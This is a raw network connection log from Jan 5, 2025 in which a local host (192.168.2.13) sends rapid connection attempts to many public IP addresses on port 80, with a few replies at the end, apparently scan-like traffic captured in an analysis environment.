Jan 5, 2025 14:26:59.673624992 CET	56958	80	192.168.2.13	153.0.152.43
Jan 5, 2025 14:26:59.673624992 CET	56958	80	192.168.2.13	39.197.0.40
Jan 5, 2025 14:26:59.673629045 CET	56958	80	192.168.2.13	106.219.240.13
Jan 5, 2025 14:26:59.673633099 CET	56958	80	192.168.2.13	9.118.183.92
Jan 5, 2025 14:26:59.673640013 CET	56958	80	192.168.2.13	47.246.108.24
Jan 5, 2025 14:26:59.673648119 CET	56958	80	192.168.2.13	104.18.225.20
Jan 5, 2025 14:26:59.673648119 CET	56958	80	192.168.2.13	193.31.69.223
Jan 5, 2025 14:26:59.673652887 CET	56958	80	192.168.2.13	163.149.183.249
Jan 5, 2025 14:26:59.673652887 CET	56958	80	192.168.2.13	187.146.192.197
Jan 5, 2025 14:26:59.673652887 CET	56958	80	192.168.2.13	125.48.131.117
Jan 5, 2025 14:26:59.673655987 CET	56958	80	192.168.2.13	174.254.142.243
Jan 5, 2025 14:26:59.673655987 CET	56958	80	192.168.2.13	166.231.192.223
Jan 5, 2025 14:26:59.673656940 CET	56958	80	192.168.2.13	72.66.106.37
Jan 5, 2025 14:26:59.673655987 CET	56958	80	192.168.2.13	64.206.7.46
Jan 5, 2025 14:26:59.673660994 CET	56958	80	192.168.2.13	138.15.111.206
Jan 5, 2025 14:26:59.673665047 CET	56958	80	192.168.2.13	208.255.211.92
Jan 5, 2025 14:26:59.673671961 CET	56958	80	192.168.2.13	165.88.39.45
Jan 5, 2025 14:26:59.673681974 CET	56958	80	192.168.2.13	164.248.152.177
Jan 5, 2025 14:26:59.673682928 CET	56958	80	192.168.2.13	69.7.210.86
Jan 5, 2025 14:26:59.673685074 CET	56958	80	192.168.2.13	37.218.161.11
Jan 5, 2025 14:26:59.673685074 CET	56958	80	192.168.2.13	41.72.69.198
Jan 5, 2025 14:26:59.673690081 CET	56958	80	192.168.2.13	49.60.77.33
Jan 5, 2025 14:26:59.673696995 CET	56958	80	192.168.2.13	166.234.114.240
Jan 5, 2025 14:26:59.673698902 CET	56958	80	192.168.2.13	177.41.250.184
Jan 5, 2025 14:26:59.673698902 CET	56958	80	192.168.2.13	112.137.5.89
Jan 5, 2025 14:26:59.673708916 CET	56958	80	192.168.2.13	97.10.43.152
Jan 5, 2025 14:26:59.673715115 CET	56958	80	192.168.2.13	172.207.69.1
Jan 5, 2025 14:26:59.673721075 CET	56958	80	192.168.2.13	46.84.132.195
Jan 5, 2025 14:26:59.673721075 CET	56958	80	192.168.2.13	102.135.247.200
Jan 5, 2025 14:26:59.673728943 CET	56958	80	192.168.2.13	100.243.189.225
Jan 5, 2025 14:26:59.673731089 CET	56958	80	192.168.2.13	82.131.67.40
Jan 5, 2025 14:26:59.673731089 CET	56958	80	192.168.2.13	169.20.103.233
Jan 5, 2025 14:26:59.673732996 CET	56958	80	192.168.2.13	17.33.80.94
Jan 5, 2025 14:26:59.673733950 CET	56958	80	192.168.2.13	120.250.80.40
Jan 5, 2025 14:26:59.673738003 CET	56958	80	192.168.2.13	128.38.246.129
Jan 5, 2025 14:26:59.673738003 CET	56958	80	192.168.2.13	175.70.70.223
Jan 5, 2025 14:26:59.673738956 CET	56958	80	192.168.2.13	164.169.116.8
Jan 5, 2025 14:26:59.673743010 CET	56958	80	192.168.2.13	207.55.20.148
Jan 5, 2025 14:26:59.673748970 CET	56958	80	192.168.2.13	184.249.13.179
Jan 5, 2025 14:26:59.673752069 CET	56958	80	192.168.2.13	174.225.60.173
Jan 5, 2025 14:26:59.673752069 CET	56958	80	192.168.2.13	144.219.95.130
Jan 5, 2025 14:26:59.673752069 CET	56958	80	192.168.2.13	153.55.40.36
Jan 5, 2025 14:26:59.673753977 CET	56958	80	192.168.2.13	139.251.201.227
Jan 5, 2025 14:26:59.673758030 CET	56958	80	192.168.2.13	211.216.192.50
Jan 5, 2025 14:26:59.673767090 CET	56958	80	192.168.2.13	144.11.131.197
Jan 5, 2025 14:26:59.673767090 CET	56958	80	192.168.2.13	173.217.107.190
Jan 5, 2025 14:26:59.673768997 CET	56958	80	192.168.2.13	124.248.184.94
Jan 5, 2025 14:26:59.673769951 CET	56958	80	192.168.2.13	101.90.19.21
Jan 5, 2025 14:26:59.673774958 CET	56958	80	192.168.2.13	119.14.236.210
Jan 5, 2025 14:26:59.673774958 CET	56958	80	192.168.2.13	43.240.12.133
Jan 5, 2025 14:26:59.673789024 CET	56958	80	192.168.2.13	14.97.131.212
Jan 5, 2025 14:26:59.673789024 CET	56958	80	192.168.2.13	93.28.171.103
Jan 5, 2025 14:26:59.673791885 CET	56958	80	192.168.2.13	31.105.68.201
Jan 5, 2025 14:26:59.673791885 CET	56958	80	192.168.2.13	4.66.163.89
Jan 5, 2025 14:26:59.673791885 CET	56958	80	192.168.2.13	190.134.127.38
Jan 5, 2025 14:26:59.673791885 CET	56958	80	192.168.2.13	156.32.27.233
Jan 5, 2025 14:26:59.673791885 CET	56958	80	192.168.2.13	43.230.172.94
Jan 5, 2025 14:26:59.673791885 CET	56958	80	192.168.2.13	203.99.247.150
Jan 5, 2025 14:26:59.673793077 CET	56958	80	192.168.2.13	38.95.74.15
Jan 5, 2025 14:26:59.673791885 CET	56958	80	192.168.2.13	101.130.210.42
Jan 5, 2025 14:26:59.673791885 CET	56958	80	192.168.2.13	125.53.4.226
Jan 5, 2025 14:26:59.673798084 CET	56958	80	192.168.2.13	222.71.164.39
Jan 5, 2025 14:26:59.673791885 CET	56958	80	192.168.2.13	195.49.221.132
Jan 5, 2025 14:26:59.673791885 CET	56958	80	192.168.2.13	176.129.122.105
Jan 5, 2025 14:26:59.673806906 CET	56958	80	192.168.2.13	37.1.118.178
Jan 5, 2025 14:26:59.673806906 CET	56958	80	192.168.2.13	141.252.75.17
Jan 5, 2025 14:26:59.673808098 CET	56958	80	192.168.2.13	73.64.179.243
Jan 5, 2025 14:26:59.673808098 CET	56958	80	192.168.2.13	73.151.95.249
Jan 5, 2025 14:26:59.673814058 CET	56958	80	192.168.2.13	24.148.217.159
Jan 5, 2025 14:26:59.673815012 CET	56958	80	192.168.2.13	65.6.106.59
Jan 5, 2025 14:26:59.673829079 CET	56958	80	192.168.2.13	13.239.62.199
Jan 5, 2025 14:26:59.673829079 CET	56958	80	192.168.2.13	138.78.120.144
Jan 5, 2025 14:26:59.673829079 CET	56958	80	192.168.2.13	23.62.35.51
Jan 5, 2025 14:26:59.673830986 CET	56958	80	192.168.2.13	86.198.29.179
Jan 5, 2025 14:26:59.673830986 CET	56958	80	192.168.2.13	102.18.49.107
Jan 5, 2025 14:26:59.673832893 CET	56958	80	192.168.2.13	86.207.196.77
Jan 5, 2025 14:26:59.673832893 CET	56958	80	192.168.2.13	207.35.81.60
Jan 5, 2025 14:26:59.673836946 CET	56958	80	192.168.2.13	35.150.225.85
Jan 5, 2025 14:26:59.673836946 CET	56958	80	192.168.2.13	116.44.11.183
Jan 5, 2025 14:26:59.673837900 CET	56958	80	192.168.2.13	164.169.192.105
Jan 5, 2025 14:26:59.673837900 CET	56958	80	192.168.2.13	63.222.247.236
Jan 5, 2025 14:26:59.673837900 CET	56958	80	192.168.2.13	220.90.252.156
Jan 5, 2025 14:26:59.673837900 CET	56958	80	192.168.2.13	74.146.46.175
Jan 5, 2025 14:26:59.673840046 CET	56958	80	192.168.2.13	65.203.86.99
Jan 5, 2025 14:26:59.673840046 CET	56958	80	192.168.2.13	121.94.210.65
Jan 5, 2025 14:26:59.673851013 CET	56958	80	192.168.2.13	34.10.232.211
Jan 5, 2025 14:26:59.673851013 CET	56958	80	192.168.2.13	154.247.77.10
Jan 5, 2025 14:26:59.673851013 CET	56958	80	192.168.2.13	109.166.96.241
Jan 5, 2025 14:26:59.673851013 CET	56958	80	192.168.2.13	13.25.56.2
Jan 5, 2025 14:26:59.673852921 CET	56958	80	192.168.2.13	86.65.198.0
Jan 5, 2025 14:26:59.673852921 CET	56958	80	192.168.2.13	175.230.253.23
Jan 5, 2025 14:26:59.673854113 CET	56958	80	192.168.2.13	117.55.65.92
Jan 5, 2025 14:26:59.673854113 CET	56958	80	192.168.2.13	166.82.195.97
Jan 5, 2025 14:26:59.673854113 CET	56958	80	192.168.2.13	203.5.147.50
Jan 5, 2025 14:26:59.673860073 CET	56958	80	192.168.2.13	155.226.138.130
Jan 5, 2025 14:26:59.673862934 CET	56958	80	192.168.2.13	132.145.101.212
Jan 5, 2025 14:26:59.673866034 CET	56958	80	192.168.2.13	130.128.21.184
Jan 5, 2025 14:26:59.673866987 CET	56958	80	192.168.2.13	35.170.245.17
Jan 5, 2025 14:26:59.673866987 CET	56958	80	192.168.2.13	82.204.189.53
Jan 5, 2025 14:26:59.673866987 CET	56958	80	192.168.2.13	190.240.183.43
Jan 5, 2025 14:26:59.673872948 CET	56958	80	192.168.2.13	159.226.176.170
Jan 5, 2025 14:26:59.673877954 CET	56958	80	192.168.2.13	187.168.86.201
Jan 5, 2025 14:26:59.673877954 CET	56958	80	192.168.2.13	183.2.197.141
Jan 5, 2025 14:26:59.673877954 CET	56958	80	192.168.2.13	80.238.200.74
Jan 5, 2025 14:26:59.673878908 CET	56958	80	192.168.2.13	94.198.39.161
Jan 5, 2025 14:26:59.673878908 CET	56958	80	192.168.2.13	131.199.94.154
Jan 5, 2025 14:26:59.673878908 CET	56958	80	192.168.2.13	20.63.228.71
Jan 5, 2025 14:26:59.673878908 CET	56958	80	192.168.2.13	203.105.138.179
Jan 5, 2025 14:26:59.673878908 CET	56958	80	192.168.2.13	163.204.85.42
Jan 5, 2025 14:26:59.673886061 CET	56958	80	192.168.2.13	216.103.108.90
Jan 5, 2025 14:26:59.673887968 CET	56958	80	192.168.2.13	5.105.74.212
Jan 5, 2025 14:26:59.673890114 CET	56958	80	192.168.2.13	142.57.140.207
Jan 5, 2025 14:26:59.673891068 CET	56958	80	192.168.2.13	156.81.95.83
Jan 5, 2025 14:26:59.673901081 CET	56958	80	192.168.2.13	9.66.243.146
Jan 5, 2025 14:26:59.673902035 CET	56958	80	192.168.2.13	35.144.93.178
Jan 5, 2025 14:26:59.673903942 CET	56958	80	192.168.2.13	211.82.217.193
Jan 5, 2025 14:26:59.673906088 CET	56958	80	192.168.2.13	70.50.254.136
Jan 5, 2025 14:26:59.673906088 CET	56958	80	192.168.2.13	88.8.147.135
Jan 5, 2025 14:26:59.673906088 CET	56958	80	192.168.2.13	87.125.174.55
Jan 5, 2025 14:26:59.673906088 CET	56958	80	192.168.2.13	140.145.193.19
Jan 5, 2025 14:26:59.673906088 CET	56958	80	192.168.2.13	125.102.53.95
Jan 5, 2025 14:26:59.673908949 CET	56958	80	192.168.2.13	222.74.147.242
Jan 5, 2025 14:26:59.673914909 CET	56958	80	192.168.2.13	1.151.82.87
Jan 5, 2025 14:26:59.673917055 CET	56958	80	192.168.2.13	100.172.196.52
Jan 5, 2025 14:26:59.673917055 CET	56958	80	192.168.2.13	137.120.147.90
Jan 5, 2025 14:26:59.673923969 CET	56958	80	192.168.2.13	48.80.9.26
Jan 5, 2025 14:26:59.673927069 CET	56958	80	192.168.2.13	178.68.56.129
Jan 5, 2025 14:26:59.673927069 CET	56958	80	192.168.2.13	18.23.48.61
Jan 5, 2025 14:26:59.673929930 CET	56958	80	192.168.2.13	222.54.119.173
Jan 5, 2025 14:26:59.673929930 CET	56958	80	192.168.2.13	2.94.132.221
Jan 5, 2025 14:26:59.673930883 CET	56958	80	192.168.2.13	124.218.80.63
Jan 5, 2025 14:26:59.673958063 CET	40210	80	192.168.2.13	184.39.176.49
Jan 5, 2025 14:26:59.673958063 CET	40210	80	192.168.2.13	184.39.176.49
Jan 5, 2025 14:26:59.673995972 CET	59548	80	192.168.2.13	49.185.194.134
Jan 5, 2025 14:26:59.673996925 CET	59548	80	192.168.2.13	49.185.194.134
Jan 5, 2025 14:26:59.674016953 CET	51430	80	192.168.2.13	32.164.191.231
Jan 5, 2025 14:26:59.674016953 CET	40794	80	192.168.2.13	184.39.176.49
Jan 5, 2025 14:26:59.674016953 CET	51430	80	192.168.2.13	32.164.191.231
Jan 5, 2025 14:26:59.674020052 CET	60132	80	192.168.2.13	49.185.194.134
Jan 5, 2025 14:26:59.674021006 CET	34752	80	192.168.2.13	121.155.195.73
Jan 5, 2025 14:26:59.674021006 CET	34752	80	192.168.2.13	121.155.195.73
Jan 5, 2025 14:26:59.674024105 CET	52008	80	192.168.2.13	32.164.191.231
Jan 5, 2025 14:26:59.674031019 CET	35328	80	192.168.2.13	121.155.195.73
Jan 5, 2025 14:26:59.674045086 CET	60944	80	192.168.2.13	97.124.195.81
Jan 5, 2025 14:26:59.674045086 CET	60944	80	192.168.2.13	97.124.195.81
Jan 5, 2025 14:26:59.674062967 CET	38996	80	192.168.2.13	128.250.180.34
Jan 5, 2025 14:26:59.674067020 CET	33286	80	192.168.2.13	97.124.195.81
Jan 5, 2025 14:26:59.674072981 CET	39570	80	192.168.2.13	128.250.180.34
Jan 5, 2025 14:26:59.674073935 CET	38996	80	192.168.2.13	128.250.180.34
Jan 5, 2025 14:26:59.674134970 CET	54974	80	192.168.2.13	54.151.72.99
Jan 5, 2025 14:26:59.674134970 CET	54974	80	192.168.2.13	54.151.72.99
Jan 5, 2025 14:26:59.674141884 CET	55566	80	192.168.2.13	54.151.72.99
Jan 5, 2025 14:26:59.674170971 CET	54586	80	192.168.2.13	132.108.249.151
Jan 5, 2025 14:26:59.674170971 CET	54586	80	192.168.2.13	132.108.249.151
Jan 5, 2025 14:26:59.674170971 CET	57086	80	192.168.2.13	46.224.56.104
Jan 5, 2025 14:26:59.674170971 CET	57086	80	192.168.2.13	46.224.56.104
Jan 5, 2025 14:26:59.674173117 CET	55178	80	192.168.2.13	132.108.249.151
Jan 5, 2025 14:26:59.674173117 CET	57678	80	192.168.2.13	46.224.56.104
Jan 5, 2025 14:26:59.674187899 CET	60414	80	192.168.2.13	187.178.160.113
Jan 5, 2025 14:26:59.674187899 CET	60414	80	192.168.2.13	187.178.160.113
Jan 5, 2025 14:26:59.674202919 CET	32772	80	192.168.2.13	187.178.160.113
Jan 5, 2025 14:26:59.674223900 CET	41922	80	192.168.2.13	64.50.196.133
Jan 5, 2025 14:26:59.674227953 CET	41334	80	192.168.2.13	64.50.196.133
Jan 5, 2025 14:26:59.674227953 CET	41334	80	192.168.2.13	64.50.196.133
Jan 5, 2025 14:26:59.674227953 CET	52328	80	192.168.2.13	40.133.17.244
Jan 5, 2025 14:26:59.674227953 CET	52328	80	192.168.2.13	40.133.17.244
Jan 5, 2025 14:26:59.674227953 CET	52912	80	192.168.2.13	40.133.17.244
Jan 5, 2025 14:26:59.674251080 CET	46420	80	192.168.2.13	44.162.94.163
Jan 5, 2025 14:26:59.674251080 CET	46420	80	192.168.2.13	44.162.94.163
Jan 5, 2025 14:26:59.674252987 CET	47004	80	192.168.2.13	44.162.94.163
Jan 5, 2025 14:26:59.674274921 CET	56606	80	192.168.2.13	90.185.103.33
Jan 5, 2025 14:26:59.674274921 CET	56606	80	192.168.2.13	90.185.103.33
Jan 5, 2025 14:26:59.674276114 CET	44682	80	192.168.2.13	169.194.176.114
Jan 5, 2025 14:26:59.674277067 CET	45266	80	192.168.2.13	169.194.176.114
Jan 5, 2025 14:26:59.674276114 CET	44682	80	192.168.2.13	169.194.176.114
Jan 5, 2025 14:26:59.674297094 CET	57190	80	192.168.2.13	90.185.103.33
Jan 5, 2025 14:26:59.674299002 CET	38338	80	192.168.2.13	198.38.240.51
Jan 5, 2025 14:26:59.674299002 CET	38338	80	192.168.2.13	198.38.240.51
Jan 5, 2025 14:26:59.674312115 CET	59422	80	192.168.2.13	14.81.236.190
Jan 5, 2025 14:26:59.674312115 CET	59422	80	192.168.2.13	14.81.236.190
Jan 5, 2025 14:26:59.674313068 CET	38922	80	192.168.2.13	198.38.240.51
Jan 5, 2025 14:26:59.674335003 CET	43436	80	192.168.2.13	110.169.6.176
Jan 5, 2025 14:26:59.674338102 CET	42852	80	192.168.2.13	110.169.6.176
Jan 5, 2025 14:26:59.674339056 CET	60006	80	192.168.2.13	14.81.236.190
Jan 5, 2025 14:26:59.674338102 CET	42852	80	192.168.2.13	110.169.6.176
Jan 5, 2025 14:26:59.674350977 CET	45620	80	192.168.2.13	37.168.163.42
Jan 5, 2025 14:26:59.674350977 CET	45620	80	192.168.2.13	37.168.163.42
Jan 5, 2025 14:26:59.674360037 CET	57168	80	192.168.2.13	160.232.8.64
Jan 5, 2025 14:26:59.674360037 CET	57168	80	192.168.2.13	160.232.8.64
Jan 5, 2025 14:26:59.674365997 CET	46204	80	192.168.2.13	37.168.163.42
Jan 5, 2025 14:26:59.674376965 CET	38300	80	192.168.2.13	160.12.31.23
Jan 5, 2025 14:26:59.674376965 CET	38300	80	192.168.2.13	160.12.31.23
Jan 5, 2025 14:26:59.674392939 CET	38884	80	192.168.2.13	160.12.31.23
Jan 5, 2025 14:26:59.674392939 CET	57752	80	192.168.2.13	160.232.8.64
Jan 5, 2025 14:26:59.674402952 CET	51558	80	192.168.2.13	165.4.191.158
Jan 5, 2025 14:26:59.674402952 CET	51558	80	192.168.2.13	165.4.191.158
Jan 5, 2025 14:26:59.674416065 CET	52142	80	192.168.2.13	165.4.191.158
Jan 5, 2025 14:26:59.674416065 CET	42078	80	192.168.2.13	90.250.128.19
Jan 5, 2025 14:26:59.674422026 CET	42078	80	192.168.2.13	90.250.128.19
Jan 5, 2025 14:26:59.674423933 CET	42662	80	192.168.2.13	90.250.128.19
Jan 5, 2025 14:26:59.674439907 CET	47928	80	192.168.2.13	172.114.95.204
Jan 5, 2025 14:26:59.674439907 CET	47928	80	192.168.2.13	172.114.95.204
Jan 5, 2025 14:26:59.674457073 CET	51950	80	192.168.2.13	182.58.107.213
Jan 5, 2025 14:26:59.674457073 CET	51950	80	192.168.2.13	182.58.107.213
Jan 5, 2025 14:26:59.674458981 CET	48512	80	192.168.2.13	172.114.95.204
Jan 5, 2025 14:26:59.674470901 CET	51032	80	192.168.2.13	218.135.140.108
Jan 5, 2025 14:26:59.674470901 CET	51032	80	192.168.2.13	218.135.140.108
Jan 5, 2025 14:26:59.674494028 CET	52534	80	192.168.2.13	182.58.107.213
Jan 5, 2025 14:26:59.674494982 CET	58378	80	192.168.2.13	153.152.78.14
Jan 5, 2025 14:26:59.674494982 CET	58378	80	192.168.2.13	153.152.78.14
Jan 5, 2025 14:26:59.674495935 CET	51616	80	192.168.2.13	218.135.140.108
Jan 5, 2025 14:26:59.674504995 CET	58962	80	192.168.2.13	153.152.78.14
Jan 5, 2025 14:26:59.674509048 CET	47872	80	192.168.2.13	200.63.240.141
Jan 5, 2025 14:26:59.674509048 CET	47872	80	192.168.2.13	200.63.240.141
Jan 5, 2025 14:26:59.674514055 CET	48456	80	192.168.2.13	200.63.240.141
Jan 5, 2025 14:26:59.674530983 CET	56770	80	192.168.2.13	186.181.40.84
Jan 5, 2025 14:26:59.674530983 CET	56770	80	192.168.2.13	186.181.40.84
Jan 5, 2025 14:26:59.674545050 CET	57354	80	192.168.2.13	186.181.40.84
Jan 5, 2025 14:26:59.674552917 CET	42836	80	192.168.2.13	61.226.178.38
Jan 5, 2025 14:26:59.674552917 CET	42836	80	192.168.2.13	61.226.178.38
Jan 5, 2025 14:26:59.674556017 CET	46532	80	192.168.2.13	192.247.19.115
Jan 5, 2025 14:26:59.674556017 CET	43420	80	192.168.2.13	61.226.178.38
Jan 5, 2025 14:26:59.674556017 CET	46532	80	192.168.2.13	192.247.19.115
Jan 5, 2025 14:26:59.674582958 CET	45914	80	192.168.2.13	139.30.30.163
Jan 5, 2025 14:26:59.674592018 CET	47116	80	192.168.2.13	192.247.19.115
Jan 5, 2025 14:26:59.674592018 CET	45330	80	192.168.2.13	139.30.30.163
Jan 5, 2025 14:26:59.674592018 CET	45330	80	192.168.2.13	139.30.30.163
Jan 5, 2025 14:26:59.674592018 CET	38012	80	192.168.2.13	171.208.31.151
Jan 5, 2025 14:26:59.674592018 CET	38012	80	192.168.2.13	171.208.31.151
Jan 5, 2025 14:26:59.674597979 CET	38596	80	192.168.2.13	171.208.31.151
Jan 5, 2025 14:26:59.674613953 CET	33370	80	192.168.2.13	49.173.231.143
Jan 5, 2025 14:26:59.674613953 CET	33370	80	192.168.2.13	49.173.231.143
Jan 5, 2025 14:26:59.674613953 CET	33954	80	192.168.2.13	49.173.231.143
Jan 5, 2025 14:26:59.674628019 CET	41564	80	192.168.2.13	20.87.241.88
Jan 5, 2025 14:26:59.674628019 CET	41564	80	192.168.2.13	20.87.241.88
Jan 5, 2025 14:26:59.674634933 CET	42148	80	192.168.2.13	20.87.241.88
Jan 5, 2025 14:26:59.674668074 CET	35758	80	192.168.2.13	199.149.8.144
Jan 5, 2025 14:26:59.674668074 CET	35758	80	192.168.2.13	199.149.8.144
Jan 5, 2025 14:26:59.674669981 CET	36342	80	192.168.2.13	199.149.8.144
Jan 5, 2025 14:26:59.674671888 CET	54086	80	192.168.2.13	88.28.204.158
Jan 5, 2025 14:26:59.674671888 CET	54086	80	192.168.2.13	88.28.204.158
Jan 5, 2025 14:26:59.674680948 CET	54670	80	192.168.2.13	88.28.204.158
Jan 5, 2025 14:26:59.674690008 CET	47862	80	192.168.2.13	94.138.141.185
Jan 5, 2025 14:26:59.674690008 CET	47862	80	192.168.2.13	94.138.141.185
Jan 5, 2025 14:26:59.674700975 CET	55128	80	192.168.2.13	72.56.147.96
Jan 5, 2025 14:26:59.674700975 CET	55128	80	192.168.2.13	72.56.147.96
Jan 5, 2025 14:26:59.674706936 CET	48446	80	192.168.2.13	94.138.141.185
Jan 5, 2025 14:26:59.674721003 CET	55712	80	192.168.2.13	72.56.147.96
Jan 5, 2025 14:26:59.674725056 CET	46868	80	192.168.2.13	84.142.197.17
Jan 5, 2025 14:26:59.674725056 CET	46868	80	192.168.2.13	84.142.197.17
Jan 5, 2025 14:26:59.674737930 CET	47452	80	192.168.2.13	84.142.197.17
Jan 5, 2025 14:26:59.674737930 CET	44540	80	192.168.2.13	105.173.184.192
Jan 5, 2025 14:26:59.674737930 CET	44540	80	192.168.2.13	105.173.184.192
Jan 5, 2025 14:26:59.674751997 CET	56132	80	192.168.2.13	99.165.239.189
Jan 5, 2025 14:26:59.674751997 CET	56132	80	192.168.2.13	99.165.239.189
Jan 5, 2025 14:26:59.674755096 CET	45124	80	192.168.2.13	105.173.184.192
Jan 5, 2025 14:26:59.674762964 CET	56716	80	192.168.2.13	99.165.239.189
Jan 5, 2025 14:26:59.674773932 CET	51228	80	192.168.2.13	99.107.143.62
Jan 5, 2025 14:26:59.674773932 CET	51228	80	192.168.2.13	99.107.143.62
Jan 5, 2025 14:26:59.674788952 CET	38494	80	192.168.2.13	126.184.49.221
Jan 5, 2025 14:26:59.674788952 CET	51812	80	192.168.2.13	99.107.143.62
Jan 5, 2025 14:26:59.674788952 CET	38494	80	192.168.2.13	126.184.49.221
Jan 5, 2025 14:26:59.674803972 CET	55462	80	192.168.2.13	90.167.60.3
Jan 5, 2025 14:26:59.674803972 CET	55462	80	192.168.2.13	90.167.60.3
Jan 5, 2025 14:26:59.674804926 CET	39078	80	192.168.2.13	126.184.49.221
Jan 5, 2025 14:26:59.674813986 CET	56046	80	192.168.2.13	90.167.60.3
Jan 5, 2025 14:26:59.674822092 CET	51912	80	192.168.2.13	59.172.117.26
Jan 5, 2025 14:26:59.674822092 CET	51912	80	192.168.2.13	59.172.117.26
Jan 5, 2025 14:26:59.674832106 CET	52496	80	192.168.2.13	59.172.117.26
Jan 5, 2025 14:26:59.674841881 CET	47242	80	192.168.2.13	99.44.37.44
Jan 5, 2025 14:26:59.674841881 CET	47242	80	192.168.2.13	99.44.37.44
Jan 5, 2025 14:26:59.674843073 CET	47826	80	192.168.2.13	99.44.37.44
Jan 5, 2025 14:26:59.674858093 CET	38694	80	192.168.2.13	177.16.157.212
Jan 5, 2025 14:26:59.674858093 CET	38694	80	192.168.2.13	177.16.157.212
Jan 5, 2025 14:26:59.674865007 CET	39278	80	192.168.2.13	177.16.157.212
Jan 5, 2025 14:26:59.674876928 CET	59688	80	192.168.2.13	94.35.93.233
Jan 5, 2025 14:26:59.674876928 CET	59688	80	192.168.2.13	94.35.93.233
Jan 5, 2025 14:26:59.674879074 CET	60272	80	192.168.2.13	94.35.93.233
Jan 5, 2025 14:26:59.674885035 CET	50204	80	192.168.2.13	64.101.190.89
Jan 5, 2025 14:26:59.674885035 CET	50204	80	192.168.2.13	64.101.190.89
Jan 5, 2025 14:26:59.674901009 CET	50788	80	192.168.2.13	64.101.190.89
Jan 5, 2025 14:26:59.674907923 CET	46792	80	192.168.2.13	154.45.118.128
Jan 5, 2025 14:26:59.674907923 CET	46792	80	192.168.2.13	154.45.118.128
Jan 5, 2025 14:26:59.674923897 CET	42248	80	192.168.2.13	151.106.177.94
Jan 5, 2025 14:26:59.674923897 CET	42248	80	192.168.2.13	151.106.177.94
Jan 5, 2025 14:26:59.674937010 CET	42832	80	192.168.2.13	151.106.177.94
Jan 5, 2025 14:26:59.674940109 CET	47376	80	192.168.2.13	154.45.118.128
Jan 5, 2025 14:26:59.674947023 CET	35922	80	192.168.2.13	57.62.244.9
Jan 5, 2025 14:26:59.674947023 CET	35922	80	192.168.2.13	57.62.244.9
Jan 5, 2025 14:26:59.674969912 CET	36504	80	192.168.2.13	57.62.244.9
Jan 5, 2025 14:26:59.674969912 CET	38152	80	192.168.2.13	5.197.123.230
Jan 5, 2025 14:26:59.674969912 CET	38152	80	192.168.2.13	5.197.123.230
Jan 5, 2025 14:26:59.674969912 CET	38734	80	192.168.2.13	5.197.123.230
Jan 5, 2025 14:26:59.674988985 CET	58376	80	192.168.2.13	36.162.123.56
Jan 5, 2025 14:26:59.674989939 CET	58376	80	192.168.2.13	36.162.123.56
Jan 5, 2025 14:26:59.674989939 CET	58958	80	192.168.2.13	36.162.123.56
Jan 5, 2025 14:26:59.675000906 CET	45606	80	192.168.2.13	51.92.13.108
Jan 5, 2025 14:26:59.675000906 CET	45606	80	192.168.2.13	51.92.13.108
Jan 5, 2025 14:26:59.675008059 CET	46188	80	192.168.2.13	51.92.13.108
Jan 5, 2025 14:26:59.675015926 CET	43442	80	192.168.2.13	35.41.199.92
Jan 5, 2025 14:26:59.675015926 CET	43442	80	192.168.2.13	35.41.199.92
Jan 5, 2025 14:26:59.675035954 CET	44024	80	192.168.2.13	35.41.199.92
Jan 5, 2025 14:26:59.675043106 CET	55508	80	192.168.2.13	44.47.134.77
Jan 5, 2025 14:26:59.675043106 CET	55508	80	192.168.2.13	44.47.134.77
Jan 5, 2025 14:26:59.675052881 CET	59958	80	192.168.2.13	41.87.48.244
Jan 5, 2025 14:26:59.675052881 CET	59958	80	192.168.2.13	41.87.48.244
Jan 5, 2025 14:26:59.675060034 CET	56090	80	192.168.2.13	44.47.134.77
Jan 5, 2025 14:26:59.675067902 CET	56634	80	192.168.2.13	143.179.29.18
Jan 5, 2025 14:26:59.675069094 CET	56634	80	192.168.2.13	143.179.29.18
Jan 5, 2025 14:26:59.675077915 CET	60540	80	192.168.2.13	41.87.48.244
Jan 5, 2025 14:26:59.675081015 CET	57214	80	192.168.2.13	143.179.29.18
Jan 5, 2025 14:26:59.675091028 CET	39848	80	192.168.2.13	123.140.128.249
Jan 5, 2025 14:26:59.675091028 CET	39848	80	192.168.2.13	123.140.128.249
Jan 5, 2025 14:26:59.675096989 CET	42328	80	192.168.2.13	121.29.46.224
Jan 5, 2025 14:26:59.675096989 CET	42328	80	192.168.2.13	121.29.46.224
Jan 5, 2025 14:26:59.675112009 CET	40428	80	192.168.2.13	123.140.128.249
Jan 5, 2025 14:26:59.675123930 CET	42908	80	192.168.2.13	121.29.46.224
Jan 5, 2025 14:26:59.675123930 CET	46776	80	192.168.2.13	49.191.8.68
Jan 5, 2025 14:26:59.675123930 CET	46776	80	192.168.2.13	49.191.8.68
Jan 5, 2025 14:26:59.675129890 CET	47354	80	192.168.2.13	49.191.8.68
Jan 5, 2025 14:26:59.675138950 CET	57204	80	192.168.2.13	188.181.2.153
Jan 5, 2025 14:26:59.675138950 CET	57204	80	192.168.2.13	188.181.2.153
Jan 5, 2025 14:26:59.675158024 CET	57778	80	192.168.2.13	188.181.2.153
Jan 5, 2025 14:26:59.675158978 CET	41928	80	192.168.2.13	130.237.101.84
Jan 5, 2025 14:26:59.675158978 CET	41928	80	192.168.2.13	130.237.101.84
Jan 5, 2025 14:26:59.675164938 CET	42502	80	192.168.2.13	130.237.101.84
Jan 5, 2025 14:26:59.675177097 CET	40626	80	192.168.2.13	209.47.23.74
Jan 5, 2025 14:26:59.675177097 CET	40626	80	192.168.2.13	209.47.23.74
Jan 5, 2025 14:26:59.675199032 CET	41666	80	192.168.2.13	105.224.183.34
Jan 5, 2025 14:26:59.675199032 CET	41666	80	192.168.2.13	105.224.183.34
Jan 5, 2025 14:26:59.675268888 CET	41200	80	192.168.2.13	209.47.23.74
Jan 5, 2025 14:26:59.675270081 CET	42232	80	192.168.2.13	105.224.183.34
Jan 5, 2025 14:26:59.678864956 CET	80	40210	184.39.176.49	192.168.2.13
Jan 5, 2025 14:26:59.678874016 CET	80	59548	49.185.194.134	192.168.2.13
Jan 5, 2025 14:26:59.678881884 CET	80	51430	32.164.191.231	192.168.2.13
Jan 5, 2025 14:26:59.678983927 CET	80	34752	121.155.195.73	192.168.2.13
Jan 5, 2025 14:26:59.678992033 CET	80	60944	97.124.195.81	192.168.2.13
Jan 5, 2025 14:26:59.678998947 CET	80	38996	128.250.180.34	192.168.2.13
Jan 5, 2025 14:26:59.679006100 CET	80	54974	54.151.72.99	192.168.2.13
Jan 5, 2025 14:26:59.679052114 CET	80	54586	132.108.249.151	192.168.2.13
